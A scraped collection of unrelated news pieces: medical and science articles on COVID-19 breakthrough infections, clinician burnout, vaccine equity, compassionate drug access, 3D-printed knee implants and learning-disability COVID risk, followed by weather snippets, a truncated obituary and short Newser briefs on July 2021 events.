This study used a cohort approach to study patients in seventeen different hospitals. Individuals that were included in the study have received two doses of Pfizer/BioNTech vaccine, they were positive for SARS-CoV-2 on PCR test and were hospitalized in a COVID-19 unit.

Furthermore, clinical data has been retrieved from patients' medical records in accordance with a predefined questionnaire. Alongside PCR testing, even viral genomic sequencing has been pursued in order to identify variants of concern in the samples.

A mixture of either mechanical ventilation or in-hospital death has been considered as a poor outcome, which was the main interest of this study. On the other hand, a favorable outcome has been defined as patient discharge or hospitalization without the need for ventilation.

Breakthrough infections linked to comorbidities

From a total of 152 patients included in the study, poor outcome was observed in 38 of them and mortality rate reached 22%. The clinical profile of these individuals resembled other COVID-19 hospitalized patients, which means they were primarily older men with a plethora of comorbidities associated with COVID-19 severity.

Nonetheless, comorbidities were more frequent in patients with vaccine breakthrough infections in comparison to a large case series on unvaccinated hospitalized patients  including hypertension, diabetes, heart failure, chronic kidney diseases, chronic lung diseases, dementia and cancer. Moreover, 40% of the patients were immunocompromised.

Higher SARS-CoV-2 viral load was linked to a substantially higher risk of poor outcome, which was also increased (albeit not significantly) in patients receiving a specific treatment regimen with anti-CD20 monoclonal antibodies, as well as in patients with low titers of protective antibodies.

Implications for high-risk individuals

The results of this study clearly imply that a small minority of individuals fully vaccinated with Pfizer/BioNTech vaccine might still present with a severe SARS-CoV-2 infection and the need for in-patient care  despite the vaccine's high effectiveness. More specifically, the outcome of patients included in the study was comparable to that of non-vaccinated hospitalized COVID-19 patients.

"Additional prospective longitudinal studies are urgently needed to identify predictors for vaccine breakthrough infection and simple correlates of vaccine protection, to enable identification of individuals at higher risk, who would require continued strict precautions, and possibly repeated active vaccination or other prophylactic measures, such as passive vaccination", say study authors.

Such research endeavors will aid in developing guidance to improve the protection of such patients. In the meantime, we should be cognizant that mass vaccination (leading to herd immunity) is an optimal way to indirectly protect vulnerable individuals.
Clinician well-being is imperative to providing high-quality patient care, yet clinician burnout continues to increase, especially over the last year due to the COVID-19 pandemic. Four leading cardiovascular organizations - the American College of Cardiology, the American Heart Association, the European Society of Cardiology and the World Heart Federation - are calling for global action to improve clinician well-being in a joint opinion paper published today.

Over the last several decades, there have been significant changes in health care with the expansion of technology, regulatory burden and clerical task loads. These developments have come at a cost to the well-being and work-life integration of clinicians. The COVID-19 pandemic has caused additional strain on clinicians through increased patient mortality, personal and family safety concerns, fear of the unknown and increased work demands. The time is now to join with our global health care professionals to call for quick action to improve clinician well-being worldwide." Athena Poppas, MD, MACC, immediate past president of the American College of Cardiology and co-author of the joint opinion

Clinician well-being is described as experiencing satisfaction and engagement with work, while also having a feeling of professional fulfillment and a sense of meaning in work. Conversely, burnout is defined as emotional exhaustion, depersonalization and a sense of low personal accomplishments in a perceived stressful work environment. Burnout is an extremely negative component along the spectrum of clinician well-being and can coexist with other mental health conditions (for example, anxiety and depression).

Recent survey data among 2,274 U.S. cardiologists and fellows-in-training reported that more than one-quarter were burned out and almost 50% were stressed. Only 23.7% said that they enjoyed their work. Women reported burnout more frequently compared with men.

Drivers associated with burnout among cardiologists include lack of control over workload, a hectic work environment, misalignment of values and insufficient documentation time. Furthermore, women are under-represented in cardiology and may have added stressors contributing to burnout such as lack of career promotion, inequalities in income and disparities in mentorship, in addition to working in environments that lack diversity, equity, inclusion and belonging.

"These stressors compound over time, and collectively, they diminish our abilities to provide high-quality patient care and to strengthen and diversify our workforce. In addition, stigma related to mental health care must be eradicated," said Mitchell S.V. Elkind, MD, MS, FAHA, FAAN, immediate past president of the American Heart Association. "Our organizations are joined together in this report to ensure that we create a strong and supportive clinician environment - for our personal wellbeing and for our families, loved ones and patients. Well-being is essential to achieving personal fulfilment and satisfaction in our work."

There are serious personal and professional ramifications of clinical burnout. Personal ramifications of burnout consist of higher rates of alcohol abuse, substance use, dysfunctional relationships, depression and suicide. Professional ramifications of clinician burnout include higher rates of medical errors, lower quality of care, decreased patient satisfaction, increased disruptive behavior and loss of professionalism accompanied by a decreased level of empathy.

"The rising rate of stress and burnout among health professionals rings an alarm bell. As well as serious consequences for the individual, they will impact patient care. The ESC joins other professional societies today to raise a red flag and to urge health care systems to create healthy environments for all those providing patient care," said Professor Stephan Achenbach, ESC president.

The joint opinion urges health care organizations and medical specialty societies to implement strategies to prevent clinician burnout. For health care organizations, suggested prevention strategies include:

* Support the psychosocial health of employees and be accountable for a holistic approach. * Create an organizational infrastructure within which clinicians can thrive. * Provide employees with a structure that allows for confidential reporting of mistreatment, as well as destigmatization of clinician access to mental health resources.

For medical specialty societies, suggested prevention strategies include:

* Continue to provide recommendations to health care organizations and advocate for meaningful health policy changes. * Develop specialty-specific tools that may improve practice efficiency or clinician knowledge base in a timely and convenient fashion. * Expand initiatives in diversity and inclusion to improve feelings of being valued and belonging.

"Even before the COVID-19 pandemic, clinicians were often struggling in existing health systems that did not fully support them," said Prof Fausto Pinto, president of the World Heart Federation. "Strategies to prevent clinician burnout must target the root causes of the problem. Medical societies, as well as civil society foundations, have an important role to play in creating support networks for their members and pushing governments to enact meaningful health policy changes."

The joint opinion published simultaneously in the flagship journals of all four organizations: Journal of the American College of Cardiology, Circulation, European Heart Journal and Global Heart. The report was led by Chair Laxmi S. Mehta, MD, FACC, FAHA, professor in the division of cardiovascular medicine, section director of preventive cardiology and women's cardiovascular health, and vice chair of wellness in the department of internal medicine at The Ohio State University Wexler Medical Center.

"As clinicians, we continuously strive for the improved health of our patients and at the same time recognize our own welfare is paramount to them receiving optimal care," Mehta said. "We will continue to work together and strategize to maintain the well-being of our workforce and keep the joy in cardiovascular medicine."
The emergence of the novel severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) has led to the global spread of coronavirus disease 2019 (COVID-19). Over 187.99 cases and over 4 million deaths have been reported since the virus was first detected in Wuhan, China, in December 2019.

The virus is also mutating at a rapid pace, with several of the changes in the genomic sequence causing gain-of-function in the form of increased infectivity, higher transmissibility, immune evasion, and possibly greater virulence.

In the absence of effective antivirals to counter the virus, the focus has been on the development and prompt rollout of vaccines. Amazingly, the first two vaccines, built on a messenger ribonucleic acid (mRNA) platform, obtained emergency use authorization (EUA) within a year of the onset of the pandemic.

This was followed by the approval of over a score of other vaccines, most with high efficacy against the virus. Vaccines were rolled out in many countries, notably the UK, Israel, and the USA, which have achieved impressively high vaccine coverage.

Emerging VOCs

However, low-income countries have been left out of the race, and are still struggling with high caseloads, shortages of essential equipment and therapeutic agents. The spread of the virus threatens to outrun vaccine-derived immunity, as it morphs into many different variants of concern (VOCs) that exhibit resistance to antibody-mediated neutralization.

The latest VOC to show a rapidly rising incidence worldwide is the delta strain, already found in over a hundred countries. Along with the alpha and beta variants, it is poised to spread with unprecedented speed.

Delta and other highly transmissible variants are driving catastrophic waves of cases, which are translating into high numbers of hospitalizations and death, says the head of the World Health Organization (WHO), Tedros Adhanom Gebreyesus.

This variant is spreading among both vaccinated and unvaccinated populations, but in the latter, it causes a higher proportion of symptomatic cases that can quickly overwhelm health services and prevent lives from being saved by timely medical care. So rapid is its increase that the WHO says it will probably be the dominant strain globally, in the very near future.

Even countries that successfully managed to ward off the early waves of the virus through public health measures alone, are now in the midst of devastating outbreaks, comments Gebreyesus.

Vaccines are effective

Citing this, vaccine companies are producing booster shots to extend coverage to these strains. And, says Gebreyesus, Some countries and regions are actually ordering millions of booster doses before other countries have had supplies to vaccinate their health workers and most vulnerable.

As of now, says WHO Covax co-lead Ann Lindstrand and WHO Chief scientist, Dr. Soumya Swaminathan, two doses of any WHO-approved vaccine provide high protection against symptomatic COVID-19. Despite the fact that the delta strain is causing many infections in populations that have already received the vaccine, most of these are mild and do not require hospitalization.

The people in the hospitals are unvaccinated, explains Swaminathan. Therefore, the decision to channel vaccines into boosting immunity in those already vaccinated should be made on the basis of real-life data, rather than the propaganda put out by companies.

Gebreyesus underlined this warning, saying that instead of vaccine manufacturers Moderna and Pfizer prioritizing the supply of third doses of the vaccine to already vaccinated populations, they should go all out to supply global vaccine providers such as the COVAX global initiative, the Africa Vaccine Acquisition Task Team, and low-middle income countries.

Enlightened self-interest

The scale of the outbreak that is occurring, and its worsening trend promises to delay global recovery, whether in the area of health or of economic reopening. While the obvious emergency has shifted to developing countries, Gebreyesus provides a reminder that even those countries that have already achieved a relatively high vaccine coverage that the whole world is not out of danger yet.

Countries vaccinating their population are starting to say, we have managed to control this, so it is not our problem. They ignore the rest of the world and give the virus a chance of circulating.

Terming it enlightened self-interest, Gebreyesus explains that the virus will continue to circulate as long as the pandemic goes on  as long as countries remain unvaccinated. The obstacle to united action is greed, he says.

Sharing resources

The WHO Director-General also pressed for sharing of licenses and technology to expand vaccine production into the rest of the world. Citing the example of AstraZeneca, which has set up production in India, Korea, Australia and Japan, and is planning to begin still more plants, Tedros explains that this will allow COVAX, the global vaccine initiative, to gain access to the hundreds of millions of doses that are necessary to vaccinate low- and middle-income populations.

As of now, the doses that are being donated are at least an order of magnitude lower. Gebreyesus says what is needed is an all-out, no regrets accelerated building up of new vaccine manufacturing hubs. Many countries today have the funds to pay for vaccines, but the shortage in supply denies them access. Thus, he calls for global leadership to expand vaccine production quickly.

He concludes that united global effort will be essential to extinguish the pandemic inferno because putting it out in spots will allow the fire to smolder everywhere, with the result that sparks will eventually travel and grow again into a roaring furnace.
At 15, Autumn Fuernisen is dying. She was diagnosed at age 11 with a rare degenerative brain disorder that has no known cure or way to slow it down: juvenile-onset Huntington's disease.

"There's lots of things that she used to be able to do just fine," said her mom, Londen Tabor, who lives with her daughter in Gillette, Wyoming. Autumn's speech has become slurred and her cognitive skills slower. She needs help with many tasks, such as writing, showering and dressing, and while she can walk, her balance is off.

Autumn has been turned down for clinical trials because she is too young.

"It is so frustrating to me," Tabor said. "I would sell my soul to try to get any type [of treatment] to help my daughter."

For patients like Autumn with serious or immediately life-threatening conditions who do not qualify for clinical trials and have exhausted all treatment options, there may be another option: seeking approval from the Food and Drug Administration for expanded access, or compassionate use, of experimental therapies.

Definitive numbers are hard to find, but studies from researchers, actions by drugmakers and insights from experts suggest that getting expanded access to unproven therapies for rare diseases is more difficult than for more common illnesses, such as cancer.

Even with experimental treatments on the rise, patients with rare diseases frequently face an unwillingness by drug companies to provide them before clinical studies are completed. Developing drugs for these diseases is an especially fragile process because the patient populations are small and often diverse, having different genetics, symptoms and other characteristics, which makes studying the drugs' effects difficult.

Drugmakers believe offering a drug before studies are finished could impair its development and jeopardize FDA approval.

Companies working on therapies for rare diseases, especially smaller ones, could feel those repercussions acutely, said Lisa Kearns, a researcher in the ethics division of New York University's medical school and member of the division's working group on compassionate use and preapproval access. "There's not as much investment in rare diseases, so an [adverse] event could frighten the already limited number of potential investors."

Drugs that were not made available for compassionate use last year until studies were completed include Evrysdi, for spinal muscular atrophy; Enspryng, for an autoimmune disease of the optic nerve and spinal cord called neuromyelitis optica spectrum disorder; and Viltepso, for certain patients with Duchenne muscular dystrophy.

A spokesperson for Roche, which makes Evrysdi and Enspryng and is working on a treatment for Huntington's disease, said the decision was tied not to the type of disease but to company policy: Roche does not set up expanded access programs for any drugs until results are available from a phase 3 clinical trial. (Those phase 3 studies are typically the last testing done before the company seeks drug approval.)

Another company's experimental drug for myasthenia gravis, an autoimmune disease that leads to skeletal muscle weakness, similarly was not available through an expanded access program until research was completed last year, and no programs have started for a therapy being studied in a phase 3 clinical trial for Huntington's disease and for amyotrophic lateral sclerosis (ALS), a fatal neurodegenerative disease often referred to as Lou Gehrig's disease.

One slight, but notable, deviation: Drugmaker Biogen agreed this year to allow certain ALS patients to receive an experimental drug as early as July 15, after the testing was to be completed but before the results are known.

Dr. Merit Cudkowicz, a neurologist at Massachusetts General Hospital in Boston, has helped patients get therapies through expanded access. Since September 2018, she and colleagues launched 10 programs that seek to match people with ALS therapies being developed by drug companies, but only about 120 patients have received therapies this way. More than 16,000 people in the United Stateswere estimated in 2015 to have ALS and most do not qualify for clinical trials because of the progression of their disease or very strict eligibility requirements.

These examples contrast with some drugs for more common problems. Gleevec, for leukemia, was offered to thousands of patients through expanded access programs before the manufacturer completed the clinical studies that led to FDA approval. Videx, for HIV/AIDS, and Iressa, for the most common type of lung cancer, were similarly offered to large numbers of patients even as clinical trials were ongoing.

Last year, Novartis gave more than 7,000 patients worldwide early access to cancer drugs.

Doctors also report that getting experimental drugs for cancer patients is relatively simple. More than 200 physicians around the country were surveyed, and among those who applied for access, nearly 90% said they had secured drugs still being investigated for patients who were not responding to approved therapies.

California researchers found similar trends in a review of 23 social media campaigns launched by patients between 2005 and 2015 seeking a variety of experimental treatments. While seven of the 19 patients with cancer received early access to requested drugs, no access was allowed for three patients with rare diseases, although one of those patients was allowed to enroll in a clinical trial.

Companies base their decisions on whether to provide a therapy through expanded access on a number of factors, said Jess Rabourn, CEO of WideTrial, which helps pharmaceutical companies run compassionate use programs. In general, there should be evidence that patients can tolerate the treatment and an expectation that any benefit outweighs the risk, he said.

"This idea that you have to wait until the research is done is baloney," he said. "We're talking about patients who are going to die if they're told to wait."

But drugmakers often view it differently, even though evidence suggests that granting early access very rarely disrupts drug approval.

Kearns explained that companies often wait until phase 3, or after, because they can be "relatively" confident of a drug's safety and effectiveness. "They don't want to harm patients, of course, but they also do not want to threaten the drug's eventual regulatory approval with an adverse event in [a] very sick patient population."

Melissa Hogan, who consults on clinical trials for rare diseases and is an FDA patient representative, attributes the lack of access to the high cost of therapies and the tightknit nature of the rare disease community, where patients and their families often set up social media groups and exchange ideas and treatment plans. Companies "know that if one patient gains access, other patients will know" and ask for access, said Hogan, who has a son with mucopolysaccharidosis type II. That could overwhelm small drugmakers with little manufacturing capacity.

These concerns cause "many companies [to] just throw up their hands and take a hard line of no [expanded access] until they reach approval stage," said Hogan.

The 2018 Right to Try law offers another option for some patients. Unlike expanded access, the law applies only to requests for medicines  not medical devices  and does not require approval from the FDA or an institutional review board, a committee that reviews and monitors people participating in research for their protection. The legislation, however, doesn't oblige companies to grant a request.

For Cali Orsulak, expanded access may be her husband's only option. He was diagnosed with ALS in 2019 at age 43.

"We did our best with the skill level we had to search clinical trials all over Canada and the U.S., and then covid hit and it became increasingly difficult," said Orsulak, explaining that they live in Canada but seek medical care in the United States. "Now that my husband has progressed, it's even harder to get into clinical trials."
Pioneering 'printed metal' procedure to create bespoke treatment for early knee osteoarthritis set to be trialled in the UK following MHRA approval.

World's first 3D printed high tibial osteotomy (HTO) device and procedure developed at University of Bath given approval for UK trials

Bespoke titanium alloy HTO implants that fit perfectly are designed to reduce discomfort for knee osteoarthritis patients

Sophisticated 3D scanning aims to make surgery quicker and safer

New TOKA process could make earlier intervention possible - saving patients decades of pain before surgery becomes viable

Intro

A groundbreaking new treatment that uses 3D printed implants and that could bring relief to tens of thousands of knee osteoarthritis sufferers has received approval to be trialled in UK patients, following a virtual "in-silico" trial that demonstrated its safety.

The personalised early knee osteoarthritis treatment, developed by engineers at the University of Bath's Centre for Therapeutic Innovation (CTI), uses state of the art 3D metal printing technology to make personalised medical-grade titanium-alloy plates that perfectly fit every patient.

The TOKA (Tailored Osteotomy for Knee Alignment) treatment improves the operative procedure and fit of high-tibial osteotomy (HTO) plates used to realign a patient's knee, making them more stable, comfortable and better able to bear weight than existing generic plates. The technique also simplifies HTO surgery, making operations quicker and therefore safer.

The HTO plates have already been safety tested virtually, in a computer-based trial using CT scan data from 28 patients. The in-silico clinical trial, the first in the world to demonstrate the safety of an orthopaedic device, modelled the stresses that would be exerted on the bespoke plates and showed that they would be comparable in safety to the standard treatment.

Knee osteoarthritis is a major health, social and economic issue and does not receive as much attention as it should. A quarter of women over 45 have it, and about 15 percent of men, so it's a significant burden that many live with. Knee replacement is only useful for end-stage osteoarthritis, so you can be in pain and have to live with a disability for a long time, potentially decades, before it's possible. We hope that the new TOKA process we've developed will change that." Professor Richie Gill, Centre for Therapeutic Innovation

Knee osteoarthritis patients undergoing TOKA will undergo a 3D CT scan of their knee, before a personalised 3D printed surgical guide and plate, both shaped to their tibia (shin) bone is created. The surgical guide simplifies the surgery, and is designed to improve surgical accuracy.

The process also sees the first implementation of 3D printed screw threads into the HTO plates, meaning they can be optimally positioned to help secure them against the bone.

Trials to begin once clinical centres reopen for elective surgery

When clinical centres return to carrying out elective surgery, expected later this year, the trials will begin. Hospitals in Bath, Bristol, Exeter and Cardiff will take part in a randomised control trial to compare patient outcomes with an existing generic HTO procedure.

Tests of the TOKA technique have already begun in Italy, where so far 25 patients received new personalised HTO plates as part of a trial at the Rizzoli Institute in Bologna.

High Tibial Osteotomy (HTO) surgery realigns the knee joint by making a cut to the tibia (shin bone) and opening a small gap, which needs to be stabilised by a metal plate. This realignment moves the loading to a less 'worn' part of the knee. Patient outcomes depend on how accurately the cut is made and the gap opened.

Prof Gill adds: "The HTO surgery has a long clinical history and it has very good results if done accurately. The difficulty surgeons have is achieving high accuracy, which is why we have created the TOKA method, which starts with a CT scan and digital plan.

"3D printing the custom knee implant and doing the scanning before operating means surgeons will know exactly what they'll see before operating and where the implant will go."

"In addition to a surgeon being able to precisely plan an operation, a surgical guide (or jig) and a plate implant, each personalised to the patient, can be 3D printed automatically based on the scanning data.

"Importantly this type of treatment relieves the symptoms of knee osteoarthritis while preserving the natural joint."

The pre-planning element greatly simplifies surgery and could cut the time on the operating table from two hours to around 30 minutes.

The work to date and UK trial is supported and funded by Versus Arthritis. The in silico trial has been published in Communications Medicine.
People with learning disabilities with covid-19 are five times more likely to be admitted to hospital and eight times more likely to die compared with the general population of England, finds a study published by The BMJ today.

Risks were particularly high for those with severe to profound learning disability, Downs syndrome and cerebral palsy.

The researchers say prompt access to covid-19 testing and healthcare is warranted for this group, and prioritization for covid-19 vaccination and other targeted preventive measures should be considered.

Emerging evidence has shown that people with learning disability are at higher risk from covid-19 related death compared with the general population. But results from existing studies on other covid-19 outcomes are often complicated by factors such as deprivation and underlying conditions (comorbidities).

A lack of clarity also exists on the increased risk of covid-19 deaths among people with milder learning disability.

To explore this further, a team of UK researchers set out to describe the risk of covid-19 related hospital admissions and deaths among children and adults with learning disability in England compared with the general population.

Their results are based on electronic health records for more than 17 million people registered with a general practice in England linked to hospital admission and mortality data.

Data for 14,312,023 adults and 2,627,018 children were analyzed across both waves of the covid-19 pandemic: wave 1 (registered with a general practice as of 1 March 2020 and followed until 31 August 2020); and wave 2 (registered 1 September 2020 and followed until 8 February 2021).

Among 90,307 adults on the learning disability register, 538 (0.6%) had a covid-19 related hospital admission; there were 222 (0.25%) covid-19 related deaths and 602 (0.7%) non-covid deaths.

Among adults not on the register, 29,781 (0.2%) had a covid-19 related hospital admission; there were 13,737 (0.1%) covid-19 related deaths and 69,837 (0.5%) non-covid deaths.

After taking account of potentially influential factors, such as age, sex, ethnicity, and geographical location, adults on the learning disability register had a 5-fold higher risk of covid-19 related hospital admission and an 8-fold higher risk of covid-19 related death than adults not on the register.

Rates were higher among those with severe to profound learning disability than those with milder learning disability, and among those in residential care.

Similar patterns were seen for children, but the authors stress that absolute risks of covid-19 hospital admission and death among children were small.

These are observational findings and the authors point to some limitations, such as focusing only on severe covid-19 outcomes and being unable to identify everyone with a learning disability from medical records alone. Nevertheless, results were similar after further analyses, and are consistent with the existing literature, suggesting that they are robust.

The findings also highlight gaps in learning disability registers, limiting the reach of the vaccination programme, prompting a call for greater efforts to update and maintain accurate registers so that all eligible individuals can benefit.

Besides vaccination, efforts should continue to protect people with learning disability from covid-19 adverse outcomes, and more research on the excess covid-19 risks among people with Downs syndrome and cerebral palsy are needed, they conclude.

This study makes an important contribution to the evidence on how the pandemic has affected this vulnerable group, say researchers in a linked editorial.

Ken Courtenay at the Royal College of Psychiatrists and Vivien Cooper at the Challenging Behaviour Foundation, point to a hidden calamity taking place among people with learning disabilities, and say reasonable adjustments should be made to ensure that information about the pandemic and risk of infection are accessible, and that practical support is provided to protect people and manage risks.

Whats more, they say worrying attitudes and prejudices about the value of the lives of people with learning disabilities have surfaced during the pandemic, while the covid-19 vaccination programme also disadvantaged people with learning disabilities, prioritizing people according to age rather than severity of comorbid disorders.

Before the next pandemic, investment in research is essential, to help us understand the risks faced by people with learning disabilities and how best to protect them from the high risks of hospital admission and death from covid-19, they write. People with learning disabilities have the same rights as everyone else, including the right to good health and to be safe from harm.
Severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) is a novel, highly infectious respiratory virus, and the causative agent of coronavirus disease 2019 (COVID-19) pandemic. SARS-CoV-2, which first originated in Wuhan, in Hubei province of China, is a member of the Coronavirdae family and has a large, non-segmented RNA genome.

High levels of transmission in regions with low rates of vaccination encourage mutations that boost viral fitness. SARS-CoV-2 variants of concern (VOCs) are variants with one or more mutations having adverse epidemiologic, immunologic, or pathogenic properties.

The B.1.1.7 (Alpha) variant has over 20 mutations, including N501Y within the spike (S) protein, and is associated with increased transmissibility compared to the original virus. It also has increased binding affinity to the angiotensin-converting enzyme 2 (ACE2) receptor in host cells that plays a role in viral entry.

The B.1.351 (Beta) variant, originally reported in South Africa, has similar mutations in the spike as well as the K417N and E484K substitutions that could decrease the efficacy of currently available vaccines.

Given the possibility of potential vaccine resistance of the VOCs, it is crucial to understand the impact of the newly emerging variants on host immune response and disease dynamics to guide the development of COVID-19 vaccines and therapeutics.

Analyzing the pathogenic and transcriptomic differences of emerging SARS-CoV-2 VOCs in the Syrian golden hamster model

Syrian golden hamsters are one of the most popular small animal models used in COVID-19 research globally. Recently, researchers from the US conducted a study in which they intranasally inoculated different SARS-CoV-2 variants into hamsters. This study is published on the bioRxiv* preprint server.

The ancestral virus (nCoV-WA1-2020) or the B.1.1.7 variant first identified in the UK and the B.1.351 variant first identified in South Africa caused similar gross and histopathologic pulmonary lesions.

"Syrian golden hamsters were chosen for this study as they are highly susceptible to infection 237 and were found to have high viral replication in the lungs."

While differences in viral genomic copy numbers were observed in the lungs and oral swabs of infected animals, infectious titers were comparable in the lungs. Antibody neutralization capacities varied based on the original virus and cross-variant protective capacity. Transcriptional profiling showed significant induction of antiviral pathways in response to all three viral variants with a more robust inflammatory signature in response to the B.1.1.7 variant. Moreover, no additional spike protein mutations were detected at peak disease.

Histopathology and Immunohistochemistry of hamster lungs. (A-H) Representative H&E images of lungs of hamsters infected with 105 TCID50 of ancestral, B.1.1.7, and B.1.351 variants at 4 days post-challenge (DPC). Foci of interstitial pneumonia and bronchiolitis were observed throughout all evaluated lung lobes of infected hamsters. (I-L) Immunohistochemistry (IHC) detected SARS-CoV-2 nucleocapsid staining in the lungs of all infected hamsters.

The researchers also detected many differentially expressed genes (DEGs) related to tissue morphogenesis and angiogenesis in all three infection challenges. Microvascular injury can further aggravate inflammation-driven lung fibrosis. Also, genes that have a role in tissue repair were downregulated after infection with the B.1.35 and ancestral variants.

"Analysis of the humoral response revealed that the overall IgG response of the infected 249 hamsters did not result in robust differences amongst the variants; however, the neutralization 250 cross-protection depended on the variant the hamster was initially exposed to."

To summarize, this study describes the pathogenesis of SARS-CoV-2 variants and the development of cross-reactive neutralizing antibodies. According to the authors, this is the first study that performed a comparative and longitudinal analysis of the immune response after infection with SARS-CoV-2 VOCs.

They found that infection with the B.1.1.7 VOC results in a better response compared to infection with the B.1.35 VOC. This broader response to B.1.1.7 may be partly mediated by the more robust transcriptional response induced by this variant, including a more significant induction of antiviral and inflammatory pathways. The authors believe that additional studies must investigate the mechanisms through which the mutations detected in the B.1.35 VOC result in reduced neutralization potential.

"Future experiments should assess transcriptional changes beyond 4 DPC to determine the kinetics of the host response at this critical site. "

*Important Notice

bioRxiv publishes preliminary scientific reports that are not peer-reviewed and, therefore, should not be regarded as conclusive, guide clinical practice/health-related behavior, or treated as established information.
Jeffersonville, IN (47130)

Today

Except for a few afternoon clouds, mainly sunny. High 89F. Winds ENE at 10 to 15 mph..

Tonight

A few clouds. Low 68F. Winds NE at 5 to 10 mph.
Betty Katherine (Akin) Smith, 91, passed Wednesday, July 14, 2021, at The Historic Villages of Silvercrest in New Albany, IN. The daughter of the late Leonard Taft and Mary Lucille (Gerdon) Akin, Betty was born December 20, 1929 in Galena, IN. Her family moved to Greensburg, KY and then back
Goldsboro, NC (27530)

Today

Thunderstorms likely. High 76F. Winds light and variable. Chance of rain 90%. Rainfall may reach one inch..

Tonight

Thunderstorms in the evening, then variable clouds overnight with still a chance of showers. Low 69F. Winds light and variable. Chance of rain 80%.
(Newser)  Days after Jacob Zuma turned himself in to start serving a 15-year-sentence, South Africa is being shaken by some of the worst violence since the end of apartheid. At least 72 people have been killed in rioting in Gauteng and KwaZulu-Natal provinces, many of them trampled in stampedes during looting, the AP reports. Others have died in shootings and explosions. More than 200 malls have been ransacked. Security forces, who have fired stun grenades and rubber bullets at rioters, say more than 1,200 people have been arrested. In Durban, a woman was seen throwing a baby from an apartment building that was set on fire after ground-floor shops were looted, the BBC reports.

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The child was caught by members of a crowd that had rushed to help residents. They fetched ladders to help other people escape and the mother was reunited with her baby. The arrest of the former president, whose supporters have blockaded roads, was the catalyst for the riots, but low income levels and a youth unemployment rate of nearly 50% "are seen as the ticking bombs that have exploded," says Farouk Chothia at the BBC. Premier David Makhura of Gauteng province, which includes Johannesburg, said Monday that the "criminal element has hijacked this situation" and called on community leaders to help stop the looting. President Cyril Ramaphosa has deployed 2,500 troops to support police. (Read more South Africa stories.)
(Newser)  A 76-year-old man who allegedly sexually assaulted a 15-year-old girl on a flight from Texas to Montana was arrested when he tried to check in for his return flight. Vincent Harry Kopacek allegedly repeatedly groped the girl from the seat behind her window seat before and during the July 8 flight from Austin to Bozeman Yellowstone International Airport, NBC Montana reports. The girl recorded his actions with her cell phone and reported the incident to her family after leaving the airport, court papers state. They contacted local law enforcement, who referred the case to the FBI.

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Kopacek was arrested when he returned to the airport for his July 11 flight. The Texas resident, who has been charged with attempted sexual abuse of a minor, abusive sexual contact, and assault within maritime and territorial jurisdiction, made his first appearance in federal court Monday, the New York Daily News reports. He faces a maximum 15 years in prison if convicted of the most serious charge, authorities say. (Read more Montana stories.)
(Newser)  A federal judge on Tuesday dismissed failed Senate candidate Roy Moores $95 million lawsuit targeting comedian Sacha Baron Cohen. The lawsuit was filed after Moore complained he was tricked into an interview that lampooned sexual misconduct accusations against him. Judge John Cronan wrote that Moore signed a clear disclosure agreement that prohibited any legal claims over the appearance. He added that the absurd segmentin which the comic demonstrated a so-called pedophile detector that beeped when it got near Moorewas "clearly a joke" and no viewer would think the comedian was making factual allegations against Moore, the AP reports.

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"The court agrees that Judge Moores claims are barred by the unambiguous contractual language, which precludes the very causes of action he now brings," Cronan wrote. The lawsuit centered on Moore's unwitting appearance on the comic's Who Is America? show in 2018. Moore had been told he was receiving an award for supporting Israel. But in the segment, Baron Cohen appeared as a faux counterterrorism instructor discussing bogus military technology, including the supposed pedophile detector. The judge noted the absurdity of the segment in dismissing Moores lawsuit. "The segment was clearly a joke and no reasonable viewer would have seen it otherwise," he wrote. Moore says he plans to appeal. (Baron Cohen is suing over a cannabis billboard featuring his Borat character.)
(Newser)  Feds say they intervened in an international scheme to abduct an Iranian-American journalist who is now a citizen and resident of the US. Though prosecutors didn't name the target, Masih Alinejad confirmed to the New York Times that it was her. Known for criticizing the Iranian government, Alinejad said last August that the government was calling for her kidnapping in a social media campaign. She fled the country in 2009 after threats and other troubles related to articles criticizing then-President Mahmoud Ahmadinejad, and currently lives in Brooklyn. She tells Reuters she was in a state of shock after learning of the plot eight months ago, and that she doesn't feel safe even in the US.

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Prosecutors charged four Iranians with conspiring to kidnap the journalist, author, and activist, in what the authorities say was a plan orchestrated by an Iranian intelligence network. One suspect, Alireza Shavaroghi Farahani, is an Iranian intelligence official and the other three are described as Iranian intelligence assets. A fifth person was also arrested in California on suspicion of supporting the plot. Prosecutors say the group used private investigators to spy on Alinejad and members of her household, and her own home, as they planned to lure her to a third country, where they would abduct her and take her to Iran. Similar plans have been successful with other activists in recent years. (An FBI official acknowledged the scheme "is not some far-fetched movie plot.")
(Newser)  Florida protesters marching in solidarity with anti-government protesters in Cuba blocked major roads for about an hour on Tuesday. Traffic was halted in both directions along Miami's Palmetto Expressway, also known as State Road 826, near Coral Way at 1:35pm local time Tuesday, as dozens of marchers failed to move, per the Miami Herald. Other roads leading to the Expressway were also blocked. Some protesters waved Cuban flags, while others chanted "libertad" and other messages of solidarity, per WTVJ. Meanwhile, hundreds of protesters blocked a road in Orlando for about an hour, shouting, "If Cuba is on the streets, Orlando will be too" and "Cuba is not alone," per the Orlando Sentinel.

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Police ultimately cleared the Orlando protest within an hour using a wall of bicycles, arresting one person for unlawful assembly, per the Sentinel. Florida Highway Patrol and Miami-Dade Police also shooed protesters off the Palmetto Expressway within an hour, though protests along the route continued late into the evening. Later Tuesday, police shut down a road outside Little Havana's Versailles restaurant, where another protest had erupted, per WTVJ. "The safety of our community & safeguarding those that peacefully assemble is our top priority," Miami-Dade Police tweeted, per Complex. "We welcome those that wish to peacefully demonstrate; however, the obstruction of roadways is unacceptable & illegal." (Read more Florida stories.)
(Newser)  Top Senate Democrats have unveiled draft legislation to legalize marijuana, remove federal penalties, and erase nonviolent federal cannabis-related criminal records. The proposal from Senate Majority Leader Chuck Schumer, Senate Finance Committee Chairman Ron Wyden, and Sen. Cory Booker, dubbed the Cannabis Administration and Opportunity Act, would remove marijiuana, now fully legal in 18 states, from the federal list of controlled substances and allow states to decide whether to prohibit its possession, production, and distribution. It would also establish funding for federal research on the drug, including its involvement in traffic deaths and its impacts on the brain. This should please Republican lawmakers whove voiced concerns about related public health concerns, per Politico. But there are also provisions supported by progressive Democrats.

